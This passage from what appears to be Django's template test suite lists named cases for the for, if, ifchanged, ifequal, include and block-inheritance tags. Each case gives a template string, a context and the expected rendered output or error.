            'for-tag-unpack09': (""{% for val in items %}{{ val.0 }}:{{ val.1 }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack13': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'cheese'))}, (""one:1,carrot/two:2,cheese/"", ""one:1,carrot/two:2,cheese/"")),
            'for-tag-empty01': (""{% for val in values %}{{ val }}{% empty %}empty text{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag-empty02': (""{% for val in values %}{{ val }}{% empty %}values array empty{% endfor %}"", {""values"": []}, ""values array empty""),
            'for-tag-empty03': (""{% for val in values %}{{ val }}{% empty %}values array not found{% endfor %}"", {}, ""values array not found""),
            # Ticket 19882
            'for-tag-filter-ws': (""{% load custom %}{% for x in s|noop:'x y' %}{{ x }}{% endfor %}"", {'s': 'abc'}, 'abc'),

            # These tests raise deprecation warnings and will raise an exception
            # in Django 2.0. The existing behavior is silent truncation if the
            # length of loopvars differs to the length of each set of items.
            'for-tag-unpack10': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'orange'))}, ""one:1/two:2/""),
            'for-tag-unpack11': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, (""one:1,/two:2,/"", ""one:1,INVALID/two:2,INVALID/"")),
            'for-tag-unpack12': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2))}, (""one:1,carrot/two:2,/"", ""one:1,carrot/two:2,INVALID/"")),
            'for-tag-unpack14': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (1, 2)}, ("":/:/"", ""INVALID:INVALID/INVALID:INVALID/"")),

            ### IF TAG ################################################################
            'if-tag01': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": True}, ""yes""),
            'if-tag02': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": False}, ""no""),
            'if-tag03': (""{% if foo %}yes{% else %}no{% endif %}"", {}, ""no""),

            'if-tag04': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'foo': True}, ""foo""),
            'if-tag05': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'bar': True}, ""bar""),
            'if-tag06': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {}, """"),
            'if-tag07': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag08': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag09': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {}, ""nothing""),
            'if-tag10': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag11': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag12': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'baz': True}, ""baz""),
            'if-tag13': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {}, ""nothing""),

            # Filters
            'if-tag-filter01': (""{% if foo|length == 5 %}yes{% else %}no{% endif %}"", {'foo': 'abcde'}, ""yes""),
            'if-tag-filter02': (""{% if foo|upper == 'ABC' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Equality
            'if-tag-eq01': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-eq02': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1}, ""no""),
            'if-tag-eq03': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 1}, ""yes""),
            'if-tag-eq04': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 2}, ""no""),
            'if-tag-eq05': (""{% if foo == '' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Comparison
            'if-tag-gt-01': (""{% if 2 > 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gt-02': (""{% if 1 > 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-gte-01': (""{% if 1 >= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gte-02': (""{% if 1 >= 2 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lt-01': (""{% if 1 < 2 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lt-02': (""{% if 1 < 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lte-01': (""{% if 1 <= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lte-02': (""{% if 2 <= 1 %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Contains
            'if-tag-in-01': (""{% if 1 in x %}yes{% else %}no{% endif %}"", {'x': [1]}, ""yes""),
            'if-tag-in-02': (""{% if 2 in x %}yes{% else %}no{% endif %}"", {'x': [1]}, ""no""),
            'if-tag-not-in-01': (""{% if 1 not in x %}yes{% else %}no{% endif %}"", {'x': [1]}, ""no""),
            'if-tag-not-in-02': (""{% if 2 not in x %}yes{% else %}no{% endif %}"", {'x': [1]}, ""yes""),

            # AND
            'if-tag-and01': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-and02': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-and03': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-and04': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-and05': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-and06': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-and07': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'no'),
            'if-tag-and08': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'no'),

            # OR
            'if-tag-or01': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-or02': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-or03': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-or04': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-or05': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-or06': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-or07': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-or08': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'yes'),

            # multiple ORs
            'if-tag-or09': (""{% if foo or bar or baz %}yes{% else %}no{% endif %}"", {'baz': True}, 'yes'),

            # NOT
            'if-tag-not01': (""{% if not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-not02': (""{% if not not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'no'),
            # not03 to not05 removed, now TemplateSyntaxErrors

            'if-tag-not06': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not07': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not08': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not09': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not10': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not11': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not12': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not13': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not14': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not15': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not16': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not17': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not18': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not19': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not20': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not21': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not22': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not23': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not24': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not25': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not26': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not27': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not28': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not29': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not30': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not31': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not32': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not33': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not34': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not35': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            # Various syntax errors
            'if-tag-error01': (""{% if %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error02': (""{% if foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error03': (""{% if foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error04': (""{% if not foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error05': (""{% if not foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error06': (""{% if abc def %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error07': (""{% if not %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error08': (""{% if and %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error09': (""{% if or %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error10': (""{% if == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error11': (""{% if 1 == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error12': (""{% if a not b %}yes{% endif %}"", {}, template.TemplateSyntaxError),

            # If evaluations are shortcircuited where possible
            # If is_bad is invoked, it will raise a ShouldNotExecuteException
            'if-tag-shortcircuit01': ('{% if x.is_true or x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""yes""),
            'if-tag-shortcircuit02': ('{% if x.is_false and x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""no""),

            # Non-existent args
            'if-tag-badarg01': (""{% if x|default_if_none:y %}yes{% endif %}"", {}, ''),
            'if-tag-badarg02': (""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 0}, ''),
            'if-tag-badarg03': (""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 1}, 'yes'),
            'if-tag-badarg04': (""{% if x|default_if_none:y %}yes{% else %}no{% endif %}"", {}, 'no'),

            # Additional, more precise parsing tests are in SmartIfTests

            ### IFCHANGED TAG #########################################################
            'ifchanged01': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1, 2, 3)}, '123'),
            'ifchanged02': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1, 1, 3)}, '13'),
            'ifchanged03': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1, 1, 1)}, '1'),
            'ifchanged04': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 2, 3), 'numx': (2, 2, 2)}, '122232'),
            'ifchanged05': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (1, 2, 3)}, '1123123123'),
            'ifchanged06': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2)}, '1222'),
            'ifchanged07': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% for y in numy %}{% ifchanged %}{{ y }}{% endifchanged %}{% endfor %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2), 'numy': (3, 3, 3)}, '1233323332333'),
            'ifchanged08': ('{% for data in datalist %}{% for c,d in data %}{% if c %}{% ifchanged %}{{ d }}{% endifchanged %}{% endif %}{% endfor %}{% endfor %}', {'datalist': [[(1, 'a'), (1, 'a'), (0, 'b'), (1, 'c')], [(0, 'a'), (1, 'c'), (1, 'd'), (1, 'd'), (0, 'e')]]}, 'accd'),

            # Test one parameter given to ifchanged.
            'ifchanged-param01': ('{% for n in num %}{% ifchanged n %}..{% endifchanged %}{{ n }}{% endfor %}', {'num': (1, 2, 3)}, '..1..2..3'),
            'ifchanged-param02': ('{% for n in num %}{% for x in numx %}{% ifchanged n %}..{% endifchanged %}{{ x }}{% endfor %}{% endfor %}', {'num': (1, 2, 3), 'numx': (5, 6, 7)}, '..567..567..567'),

            # Test multiple parameters to ifchanged.
            'ifchanged-param03': ('{% for n in num %}{{ n }}{% for x in numx %}{% ifchanged x n %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 2), 'numx': (5, 6, 6)}, '156156256'),

            # Test a date+hour like construct, where the hour of the last day
            # is the same but the date had changed, so print the hour anyway.
            'ifchanged-param04': ('{% for d in days %}{% ifchanged %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days': [{'day': 1, 'hours': [1, 2, 3]}, {'day': 2, 'hours': [3]}]}, '112323'),

            # Logically the same as above, just written with explicit
            # ifchanged for the day.
            'ifchanged-param05': ('{% for d in days %}{% ifchanged d.day %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d.day h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days': [{'day': 1, 'hours': [1, 2, 3]}, {'day': 2, 'hours': [3]}]}, '112323'),

            # Test the else clause of ifchanged.
            'ifchanged-else01': ('{% for id in ids %}{{ id }}{% ifchanged id %}-first{% else %}-other{% endifchanged %},{% endfor %}', {'ids': [1, 1, 2, 2, 2, 3]}, '1-first,1-other,2-first,2-other,2-other,3-first,'),

            'ifchanged-else02': ('{% for id in ids %}{{ id }}-{% ifchanged id %}{% cycle red,blue %}{% else %}grey{% endifchanged %},{% endfor %}', {'ids': [1, 1, 2, 2, 2, 3]}, '1-red,1-grey,2-blue,2-grey,2-grey,3-red,'),
            'ifchanged-else03': ('{% for id in ids %}{{ id }}{% ifchanged id %}-{% cycle red,blue %}{% else %}{% endifchanged %},{% endfor %}', {'ids': [1, 1, 2, 2, 2, 3]}, '1-red,1,2-blue,2,2,3-red,'),

            'ifchanged-else04': ('{% for id in ids %}{% ifchanged %}***{{ id }}*{% else %}...{% endifchanged %}{{ forloop.counter }}{% endfor %}', {'ids': [1, 1, 2, 2, 2, 3, 4]}, '***1*1...2***2*3...4...5***3*6***4*7'),

            # Test whitespace in filter arguments
            'ifchanged-filter-ws': ('{% load custom %}{% for n in num %}{% ifchanged n|noop:""x y"" %}..{% endifchanged %}{{ n }}{% endfor %}', {'num': (1, 2, 3)}, '..1..2..3'),

            ### IFEQUAL TAG ###########################################################
            'ifequal01': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 2}, """"),
            'ifequal02': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal03': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 2}, ""no""),
            'ifequal04': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal05': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""test""}, ""yes""),
            'ifequal06': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""no""}, ""no""),
            'ifequal07': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""test""}, ""yes""),
            'ifequal08': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""no""}, ""no""),
            'ifequal09': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal10': ('{% ifequal a b %}yes{% else %}no{% endifequal %}', {}, ""yes""),

            # SMART SPLITTING
            'ifequal-split01': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal-split02': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'foo'}, ""no""),
            'ifequal-split03': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'test man'}, ""yes""),
            'ifequal-split04': (""{% ifequal a 'test man' %}yes{% else %}no{% endifequal %}"", {'a': 'test man'}, ""yes""),
            'ifequal-split05': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': ''}, ""no""),
            'ifequal-split06': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i ""love"" you'}, ""yes""),
            'ifequal-split07': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i love you'}, ""no""),
            'ifequal-split08': (r""{% ifequal a 'I\'m happy' %}yes{% else %}no{% endifequal %}"", {'a': ""I'm happy""}, ""yes""),
            'ifequal-split09': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slash\man""}, ""yes""),
            'ifequal-split10': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slashman""}, ""no""),

            # NUMERIC RESOLUTION
            'ifequal-numeric01': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': '5'}, ''),
            'ifequal-numeric02': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': 5}, 'yes'),
            'ifequal-numeric03': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric04': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5.2}, 'yes'),
            'ifequal-numeric05': ('{% ifequal x 0.2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric06': ('{% ifequal x .2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric07': ('{% ifequal x 2. %}yes{% endifequal %}', {'x': 2}, ''),
            'ifequal-numeric08': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric09': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': '5'}, 'yes'),
            'ifequal-numeric10': ('{% ifequal x -5 %}yes{% endifequal %}', {'x': -5}, 'yes'),
            'ifequal-numeric11': ('{% ifequal x -5.2 %}yes{% endifequal %}', {'x': -5.2}, 'yes'),
            'ifequal-numeric12': ('{% ifequal x +5 %}yes{% endifequal %}', {'x': 5}, 'yes'),

            # FILTER EXPRESSIONS AS ARGUMENTS
            'ifequal-filter01': ('{% ifequal a|upper ""A"" %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter02': ('{% ifequal ""A"" a|upper %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter03': ('{% ifequal a|upper b|upper %}x{% endifequal %}', {'a': 'x', 'b': 'X'}, 'x'),
            'ifequal-filter04': ('{% ifequal x|slice:""1"" ""a"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),
            'ifequal-filter05': ('{% ifequal x|slice:""1""|upper ""A"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),

            ### IFNOTEQUAL TAG ########################################################
            'ifnotequal01': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal02': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 1}, """"),
            'ifnotequal03': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal04': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 1}, ""no""),

            ## INCLUDE TAG ###########################################################
            'include01': ('{% include ""basic-syntax01"" %}', {}, ""something cool""),
            'include02': ('{% include ""basic-syntax02"" %}', {'headline': 'Included'}, ""Included""),
            'include03': ('{% include template_name %}', {'template_name': 'basic-syntax02', 'headline': 'Included'}, ""Included""),
            'include04': ('a{% include ""nonexistent"" %}b', {}, (""ab"", ""ab"", template.TemplateDoesNotExist)),
            'include 05': ('template with a space', {}, 'template with a space'),
            'include06': ('{% include ""include 05""%}', {}, 'template with a space'),

            # extra inline context
            'include07': ('{% include ""basic-syntax02"" with headline=""Inline"" %}', {'headline': 'Included'}, 'Inline'),
            'include08': ('{% include headline with headline=""Dynamic"" %}', {'headline': 'basic-syntax02'}, 'Dynamic'),
            'include09': ('{{ first }}--{% include ""basic-syntax03"" with first=second|lower|upper second=first|upper %}--{{ second }}', {'first': 'Ul', 'second': 'lU'}, 'Ul--LU --- UL--lU'),

            # isolated context
            'include10': ('{% include ""basic-syntax03"" only %}', {'first': '1'}, (' --- ', 'INVALID --- INVALID')),
            'include11': ('{% include ""basic-syntax03"" only with second=2 %}', {'first': '1'}, (' --- 2', 'INVALID --- 2')),
            'include12': ('{% include ""basic-syntax03"" with first=1 only %}', {'second': '2'}, ('1 --- ', '1 --- INVALID')),

            # autoescape context
            'include13': ('{% autoescape off %}{% include ""basic-syntax03"" %}{% endautoescape %}', {'first': '&'}, ('& --- ', '& --- INVALID')),
            'include14': ('{% autoescape off %}{% include ""basic-syntax03"" with first=var1 only %}{% endautoescape %}', {'var1': '&'}, ('& --- ', '& --- INVALID')),

            'include-error01': ('{% include ""basic-syntax01"" with %}', {}, template.TemplateSyntaxError),
            'include-error02': ('{% include ""basic-syntax01"" with ""no key"" %}', {}, template.TemplateSyntaxError),
            'include-error03': ('{% include ""basic-syntax01"" with dotted.arg=""error"" %}', {}, template.TemplateSyntaxError),
            'include-error04': ('{% include ""basic-syntax01"" something_random %}', {}, template.TemplateSyntaxError),
            'include-error05': ('{% include ""basic-syntax01"" foo=""duplicate"" foo=""key"" %}', {}, template.TemplateSyntaxError),
            'include-error06': ('{% include ""basic-syntax01"" only only %}', {}, template.TemplateSyntaxError),

            ### INCLUSION ERROR REPORTING #############################################
            'include-fail1': ('{% load bad_tag %}{% badtag %}', {}, RuntimeError),
            'include-fail2': ('{% load broken_tag %}', {}, template.TemplateSyntaxError),
            'include-error07': ('{% include ""include-fail1"" %}', {}, ('', '', RuntimeError)),
            'include-error08': ('{% include ""include-fail2"" %}', {}, ('', '', template.TemplateSyntaxError)),
            'include-error09': ('{% include failed_include %}', {'failed_include': 'include-fail1'}, ('', '', RuntimeError)),
            'include-error10': ('{% include failed_include %}', {'failed_include': 'include-fail2'}, ('', '', template.TemplateSyntaxError)),


            ### NAMED ENDBLOCKS #######################################################

            # Basic test
            'namedendblocks01': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock first %}3"", {}, '1_2_3'),

            # Unbalanced blocks
            'namedendblocks02': (""1{% block first %}_{% block second %}2{% endblock first %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks03': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks04': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock third %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks05': (""1{% block first %}_{% block second %}2{% endblock first %}"", {}, template.TemplateSyntaxError),

            # Mixed named and unnamed endblocks
            'namedendblocks06': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock first %}3"", {}, '1_2_3'),
            'namedendblocks07': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock %}3"", {}, '1_2_3'),

            ### INHERITANCE ###########################################################

            # Standard template with no inheritance
            'inheritance01': (""1{% block first %}&{% endblock %}3{% block second %}_{% endblock %}"", {}, '1&3_'),

            # Standard two-level inheritance
            'inheritance02': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with no redefinitions on third level
            'inheritance03': (""{% extends 'inheritance02' %}"", {}, '1234'),

            # Two-level with no redefinitions on second level
            'inheritance04': (""{% extends 'inheritance01' %}"", {}, '1&3_'),

            # Two-level with double quotes instead of single quotes
            'inheritance05': ('{% extends ""inheritance02"" %}', {}, '1234'),

            # Three-level with variable parent-template name
            'inheritance06': (""{% extends foo %}"", {'foo': 'inheritance02'}, '1234'),

            # Two-level with one block defined, one block not defined
            'inheritance07': (""{% extends 'inheritance01' %}{% block second %}5{% endblock %}"", {}, '1&35'),

            # Three-level with one block defined on this level, two blocks defined next level
            'inheritance08': (""{% extends 'inheritance02' %}{% block second %}5{% endblock %}"", {}, '1235'),

            # Three-level with second and third levels blank
            'inheritance09': (""{% extends 'inheritance04' %}"", {}, '1&3_'),

            # Three-level with space NOT in a block -- should be ignored
            'inheritance10': (""{% extends 'inheritance04' %}      "", {}, '1&3_'),

            # Three-level with both blocks defined on this level, but none on second level
            'inheritance11': (""{% extends 'inheritance04' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with this level providing one and second level providing the other
            'inheritance12': (""{% extends 'inheritance07' %}{% block first %}2{% endblock %}"", {}, '1235'),

            # Three-level with this level overriding second level
            'inheritance13': (""{% extends 'inheritance02' %}{% block first %}a{% endblock %}{% block second %}b{% endblock %}"", {}, '1a3b'),

            # A block defined only in a child template shouldn't be displayed
            'inheritance14': (""{% extends 'inheritance01' %}{% block newblock %}NO DISPLAY{% endblock %}"", {}, '1&3_'),

            # A block within another block
            'inheritance15': (""{% extends 'inheritance01' %}{% block first %}2{% block inner %}inner{% endblock %}{% endblock %}"", {}, '12inner3_'),

            # A block within another block (level 2)
            'inheritance16': (""{% extends 'inheritance15' %}{% block inner %}out{% endblock %}"", {}, '12out3_'),

            # {% load %} tag (parent -- setup for exception04)
            'inheritance17': (""{% load testtags %}{% block first %}1234{% endblock %}"", {}, '1234'),

            # {% load %} tag (standard usage, without inheritance)
            'inheritance18': (""{% load testtags %}{% echo this that theother %}5678"", {}, 'this that theother5678'),

            # {% load %} tag (within a child template)
            'inheritance19': (""{% extends 'inheritance01' %}{% block first %}{% load testtags %}{% echo 400 %}5678{% endblock %}"", {}, '140056783_'),

            # Two-level inheritance with {{ block.super }}
            'inheritance20': (""{% extends 'inheritance01' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent
            'inheritance21': (""{% extends 'inheritance02' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '12a34'),

            # Three-level inheritance with {{ block.super }} from grandparent
            'inheritance22': (""{% extends 'inheritance04' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent and grandparent
            'inheritance23': (""{% extends 'inheritance20' %}{% block first %}{{ block.super }}b{% endblock %}"", {}, '1&ab3_'),

